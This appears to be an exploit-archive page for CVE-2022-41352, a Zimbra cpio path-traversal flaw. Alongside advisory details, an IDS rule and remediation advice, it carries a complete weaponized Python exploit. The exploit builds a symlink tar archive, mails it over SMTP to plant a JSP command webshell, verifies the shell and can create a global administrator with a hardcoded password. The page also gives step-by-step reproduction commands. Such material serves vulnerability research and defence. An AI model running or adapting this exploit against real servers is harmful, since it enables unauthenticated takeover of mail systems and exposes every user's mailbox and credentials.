PoC Archive PoC Archive
CVE-2022-41352 category: web CVSS 9.8 (CRITICAL) KEV Ransomware EPSS 76%
Patched

Zimbra Collaboration Suite cpio Attachment Path Traversal to Unauthenticated RCE (CVE-2022-41352)

Published: 2026-11-27 • Researcher: Cr4ckC4t (repository author); reported by the Zimbra security team and analysed by Rapid7 and AttackerKB contributors

Target software Zimbra Collaboration Suite (ZCS), through the amavis content filter and cpio attachment extraction
Affected versions NVD lists 8.8.15 and 9.0. Vendor and repository guidance: 9.0 before 9.0.0.p27 and 8.8.15 before 8.8.15.p34. Systems without pax installed, where amavis falls back to cpio, are exposed.
Status Weaponized (delivers a JSP webshell end to end and can create a global administrator)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV Ransomware EPSS 76%

Confirmed exploited in the wild. Added to CISA KEV 2022-10-20. Federal remediation deadline 2022-11-10.

EPSS 75.9% · 100th percentile

Severity
Critical
CVE
CVE-2022-41352
Category
web
Affected product
Zimbra Collaboration Suite (ZCS), through the amavis content filter and cpio attachment extraction
Affected versions
NVD lists 8.8.15 and 9.0. Vendor and repository guidance: 9.0 before 9.0.0.p27 and 8.8.15 before 8.8.15.p34. Systems without pax installed, where amavis falls back to cpio, are exposed.
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2022-11-24
Author / ResearcherCr4ckC4t (repository author); reported by the Zimbra security team and analysed by Rapid7 and AttackerKB contributors
CVE / AdvisoryCVE-2022-41352
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD)
StatusWeaponized (delivers a JSP webshell end to end and can create a global administrator)
Tagszimbra, synacor, amavis, cpio, tar, path-traversal, arbitrary-file-write, jsp-webshell, unauthenticated, cwe-22, kev
RelatedN/A

Affected Target

FieldValue
Software / SystemZimbra Collaboration Suite (ZCS), through the amavis content filter and cpio attachment extraction
Versions AffectedNVD lists 8.8.15 and 9.0. Vendor and repository guidance: 9.0 before 9.0.0.p27 and 8.8.15 before 8.8.15.p34. Systems without pax installed, where amavis falls back to cpio, are exposed.
Language / PlatformJava web application (JSP) and Perl amavis filter on Linux; Python 3 attacker script using smtplib and requests
Authentication RequiredNo (any inbound mail sender; the recipient address need not exist)
Network Access RequiredYes (SMTP port 25 to the mail server, plus HTTPS to the web client port for verification)

Summary

CVE-2022-41352 is an arbitrary file write in Zimbra Collaboration Suite caused by the way the amavis content filter extracts tar attachments with cpio. A crafted archive carries a link entry that resolves to a directory outside the extraction root and a second entry that writes through that link, so an unauthenticated sender can place files anywhere the amavis process can write, including the public web application directory. The bundled exploit builds that two-block ustar archive around a JSP command shell, sends it as an email attachment over SMTP, verifies the uploaded shell and can then create a new global Zimbra administrator. Zimbra shipped fixes in 9.0.0.p27 and 8.8.15.p34 and recommends installing pax so amavis stops using cpio, and the flaw is in the CISA Known Exploited Vulnerabilities catalog.

Vulnerability Details

Root Cause

amavis scanned incoming mail and unpacked archive attachments with cpio when the preferred pax utility was not installed, which is the default state on Red Hat derived systems after RHEL 6. The cpio extraction did not confine link targets to the extraction directory, so an archive entry could create a symbolic link pointing at an arbitrary absolute directory and a following regular file entry could then be written through that link. This is the CWE-22 path traversal that NVD describes as an arbitrary file upload through amavis with extraction under the Zimbra web application tree. The bundled script reproduces the primitive exactly: the first ustar block is a type 2 link named startup whose target is /opt/zimbra/jetty_base/webapps/zimbra/public/jsp, and the second block is the JSP payload at startup/Startup1_3.jsp.

Attack Vector

An unauthenticated SMTP transaction to TCP port 25 carrying a multipart email whose attachment is named payload.tar and whose body is the crafted archive. The recipient does not have to exist, because the archive is parsed by amavis when the message is processed rather than when it is delivered. No authentication, session or prior interaction is needed. The same archive can be deployed manually if the operator can deliver the email directly to the server.

Impact

Arbitrary file write as the zimbra user, chained to remote code execution by writing a JSP webshell into the public web directory and requesting it over HTTPS. Successful exploitation yields command execution on the mail server and, with the fullpwn mode of the script, creation of a new global administrator account through zmprov. A compromised Zimbra server exposes all mailboxes, address books, calendars, authentication material and any services that trust the mail host.

Environment / Lab Setup

Output
OS:          Ubuntu 20.04 LTS target with Zimbra installed; any Linux attacker host
Target:      Zimbra Collaboration 9.0.0.p26 or 8.8.15.p33 without pax installed,
             so amavis falls back to cpio
Attacker:    Python 3.8+ with requests, plus an SMTP-reachable network path to port 25
Tools:       python3, requests, smtplib (standard library)

Setup Steps

The upstream README gives no build instructions beyond editing the configuration block or passing flags. In an isolated lab, install Zimbra at a vulnerable patch level on a host that does not provide pax, confirm that amavis uses cpio, and reach TCP 25 and the HTTPS client port from the attacker host. Then install the Python dependency:

Shell script
1
2
python3 -m pip install requests
export ZIMBRA_LAB=10.0.0.10

The script defaults are TARGET mail.test.org, WEBSHELL_PATH /public/jsp, WEBSHELL_NAME Startup1_3.jsp, ATTACHMENT payload.tar, SENDER test@test.org, RECIPIENT admin@test.org and UPLOAD_BASE /opt/zimbra/jetty_base/webapps/zimbra.

Proof of Concept

Step-by-Step Reproduction

  1. Build the archive — run the script in manual mode to write payload.tar locally without contacting a target. The first block is a symlink named startup pointing at the absolute public web directory, the second is the JSP webshell.
    Shell script
    1
    
    python3 cve-2022-41352.py manual
  2. Deliver it by email — run auto mode against the lab server so the script submits the archive as a MIME attachment over SMTP port 25. The recipient address need not exist.
    Shell script
    1
    
    python3 cve-2022-41352.py auto --target 10.0.0.10
  3. Verify the write — the script waits five seconds and requests the webshell path over HTTPS, reporting PWNED on HTTP 200.
    Shell script
    1
    
    curl -k "https://10.0.0.10/public/jsp/Startup1_3.jsp?task=id"
  4. Optionally create an administrator — fullpwn mode uses the deployed shell to run zmprov ca and zmprov ma through the task parameter.

Exploit Code

See cve-2022-41352.py in this folder. The upstream README is upstream-README.md.

Python
1
2
3
4
import struct

raw_tar = block1 + block2 + payload + b"\x00" * (512 - len(payload) % 512)
raw_tar += b"\x00" * 1024

Expected Output

Output
1
2
3
4
5
6
7
8
>>> Assembled payload attachment: payload.tar
>>> Payload will be extracted to (/opt/zimbra/jetty_base/webapps/zimbra)/public/jsp/Startup1_3.jsp
>>> Targeting 10.0.0.10
>>> Sending payload
>>> Payload delivered
>>> Verifying upload to /public/jsp/Startup1_3.jsp ...
>>> [PWNED] Upload successful!
>>> Shell at: https://10.0.0.10/public/jsp/Startup1_3.jsp

The webshell renders a form and echoes the captured stdout of the task parameter inside pre tags, so requesting it with task=id returns the zimbra account identity. A patched server or one where pax takes precedence over cpio never writes the file, the verification request does not return 200 and the script exits with the upload unsuccessful message.

Detection & Indicators of Compromise

Output
/opt/zimbra/jetty_base/webapps/zimbra/public/jsp/Startup1_3.jsp

Search the web application tree for recently created JSP, WAR or other executable content and compare against the package manifest. Alert on TAR attachments in transit from external senders where the archive contains a type 2 link entry, and on mail addressed to non-existent local recipients that is still processed by amavis.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2022-41352 Zimbra JSP webshell request"; flow:to_server,established; http.uri; content:"/public/jsp/"; nocase; content:"task="; nocase; sid:90413520;)

Remediation

ActionDetail
PatchUpgrade to Zimbra 9.0.0.p27 or 8.8.15.p34, or later, per the Zimbra security advisories.
WorkaroundInstall pax on the Zimbra host and restart the services so amavis prefers pax over cpio, and block TAR and other archive attachments at the mail gateway where operationally possible.
Config HardeningRemove execute or write permissions for the web application public directory where not required, monitor the Zimbra web tree for new executable content, and audit administrator accounts after any suspected exploitation.

References

Notes

Auto-prepared on 2026-11-27 from the public repository Cr4ckC4t/cve-2022-41352-zimbra-rce. Review verdict: genuine exploit that implements the vulnerable primitive rather than detecting it. The script constructs the two-block ustar archive, delivers it over SMTP, verifies the webshell over HTTPS and can create a global administrator, so it was ingested. Limitations: it only works where amavis resolves to cpio and the default installation paths are used, the default configuration uses placeholder addresses and a fixed JSP shell name that is easy to signature, the verification step sleeps a fixed five seconds and treats only HTTP 200 as success, the administrator creation path uses a fixed password, and the script disables TLS verification for its requests. The upstream repository declares no license file, so the code is archived with attribution for research use only and all other rights remain with the author. The most recent upstream commit is dated 2022-11-24.

cve-2022-41352.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Cr4ckC4t/cve-2022-41352-zimbra-rce (see README for attribution/license)

import sys
import smtplib
import argparse
from time import sleep
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# CONFIGURATION
#----------------------------------
TARGET		= 'mail.test.org'
WEBSHELL_PATH 	= '/public/jsp'
WEBSHELL_NAME 	= 'Startup1_3.jsp'
ATTACHMENT	= 'payload.tar'
SENDER		= 'test@test.org'
RECIPIENT	= 'admin@test.org'

EMAIL_SUBJECT	= 'CVE-2022-41352'
EMAIL_BODY	= '<b>Just testing.</b><br><p>Don\'t mind me.</p>'
#----------------------------------

# Only change this if zimbra was not installed in the default location
UPLOAD_BASE	= '/opt/zimbra/jetty_base/webapps/zimbra'


def create_tar_payload(payload, payload_name, payload_path, lnk='startup'):
	# Block 1
	link = lnk.encode()
	mode = b'0000777\x00'		# link permissions
	ouid = b'0001745\x00'		# octal uid (997)
	ogid = b'0001745\x00'		# octal gid
	lnsz = b'00000000000\x00'	# file size (link = 0)
	lmod = b'14227770134\x00'       # last modified (octal unix)
	csum = b'        '		# checksum = 8 blanks
	type = b'2'			# type (link = 2)
	targ = payload_path.encode()	# link target
	magi = b'ustar  \x00'		# ustar magic bytes + version
	ownu = b'zimbra'		# user owner
	owng = b'zimbra'		# group owner
	vers = b'\x00'*8 + b'\x00'* 8	# device major and minor
	pref = b'\x00'*155		# prefix (only used if the file name length exceeds 100)

	raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod
	raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
	# calculate and insert checksum
	csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:]
	raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2
	# pad block to 512
	raw_b1 += b'\00'*(512-len(raw_b1))

	# Block 2
	mode = b'0000644\x00'		# file permissions
	file = f'{lnk}/{payload_name}'.encode()
	flsz = oct(len(payload))[2:]	# file size
	csum = b'        '		# checksum = 8 blanks
	type = b'0'			# type (file = 0)
	targ = b'\x00'*100		# link target = none

	raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod
	raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
	# calculate and insert checksum
	csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:]
	raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2
	# pad block to 512
	raw_b2 += b'\00'*(512-len(raw_b2))


	# Assemble
	raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512))
	raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks

	return raw_tar

# Update this if you want to use a legit email account for sending the payload
def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name):
	msg = MIMEMultipart()
	msg['Subject'] = subject
	msg['From'] = sender
	msg['To'] = recipient

	message = MIMEText(body, 'html')
	msg.attach(message)

	att = MIMEApplication(attachment)
	att.add_header('Content-Disposition', 'attachment', filename=attachment_name)
	msg.attach(att)

	try:
		print(f'>>> Sending payload')
		smtp_server = smtplib.SMTP(target,25)
		smtp_server.sendmail(sender, recipient, msg.as_string())
		print(f'>>> Payload delivered')
	except Exception as e:
		print(f'[!] Failed to send the mail: {e}')
		sys.exit(1)

def verify_upload(target, shell, path):
	print(f'>>> Verifying upload to {path}/{shell} ...')
	sleep(5) # give the server time to process the email
	resp = requests.get(f'https://{target}{path}/{shell}', verify=False)
	if resp.status_code == 200:
		print(f'>>> [PWNED] Upload successful!')
	else:
		print(f'>>> Upload unsuccesful :(')
		sys.exit(1)

def create_new_zimbra_admin(target, shell, path):
	url = f'https://{target}'
	pw = 'Pwn1ng_Z1mbra_!s_fun'
	print(f'>>> Adding a new global administrator')
	if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'):
		sys.exit(0)
	admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ')
	r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False)
	r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False)

	print(f'>>> Login to {url}:7071/zimbraAdmin/ with:')
	print(f'>>>     Email    : {admin}')
	print(f'>>>     Password : {pw}')


def main(args):
	global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY

	# Kali JSP WebShell
	payload  = b'<FORM METHOD=GET ACTION="'
	payload += WEBSHELL_NAME.encode()
	payload += b'"><INPUT name="task" type=text><INPUT type=submit value="Run"></FORM><%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %><pre><%=output %></pre>'

	# Using this instead of argparse default values to allow easy manual configuration as well
	if args.payload:
		try:
			with open(args.payload, 'rb') as f:
				payload = f.read()
		except Exception as e:
			print(f'Failed to read {args.payload}: {e}')
			sys.exit(1)
		print(f'>>> Using custom payload from: {args.payload}')
	else:
		print(f'>>> Using default payload: JSP Webshell')
	if args.path:
		WEBSHELL_PATH = args.path
	if args.file:
		WEBSHELL_NAME = args.file
	if args.attach:
		ATTACHMENT = args.attach

	tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH)

	print(f'>>> Assembled payload attachment: {ATTACHMENT}')
	print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}')
	if args.mode == 'manual':
		with open(ATTACHMENT, 'wb') as f:
			f.write(tar)
		print(f'>>> Attachment saved locally.')
		sys.exit(0)

	if args.target:
		TARGET = args.target

	print(f'>>> Targeting {TARGET}')

	if args.sender:
		SENDER = args.sender
	if args.recip:
		RECIPIENT = args.recip
	if args.subject:
		EMAIL_SUBJECT = args.subject
	if args.body:
		try:
			with open(args.body, 'rb') as f:
				EMAIL_BODY = f.read().decode()
		except Exception as e:
			print(f'Failed to read {args.body}: {e}')
			sys.exit(1)
		print(f'>>> Using custom email body from: {args.body}')


	smtp_send_file(	TARGET,
			SENDER,
			RECIPIENT,
			EMAIL_SUBJECT,
			EMAIL_BODY,
			tar,
			ATTACHMENT )

	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

	verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)

	print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}')
	if args.mode == 'auto':
		sys.exit(0)

	if args.payload:
		print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account')
	else:
		create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)

	sys.exit(0)

if __name__ == '__main__':
	epi = '''
Alternatively, edit the script to change the default configuration.

The available modes are:

      manual : Only create the payload - you have to deploy the payload yourself.
        auto : Create a webshell and deploy it via SMTP.
     fullpwn : After deploying a webshell, add a new global mail administrator.
'''

	p = argparse.ArgumentParser(
		description = 'CVE-2022-41352 Zimbra RCE',
		formatter_class = argparse.RawDescriptionHelpFormatter,
		epilog = epi
	)
	p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below')

	p.add_argument('--target', required=False, metavar='<str>', dest='target', help=f'the target server (default: "{TARGET}")')
	p.add_argument('--payload', required=False, metavar='<file>', help='the file to save on the target (default: jsp webshell)')
	p.add_argument('--path', required=False, metavar='<str>', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")')
	p.add_argument('--file', required=False, metavar='<str>', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")')
	p.add_argument('--attach', required=False, metavar='<str>', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")')
	p.add_argument('--sender', required=False, metavar='<str>', help=f'sender mail address (default: "{SENDER}")')
	p.add_argument('--recip', required=False, metavar='<str>', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)')
	p.add_argument('--subject', required=False, metavar='<str>', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")')
	p.add_argument('--body', required=False, metavar='<file>', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")')

	args = p.parse_args()

	main(args)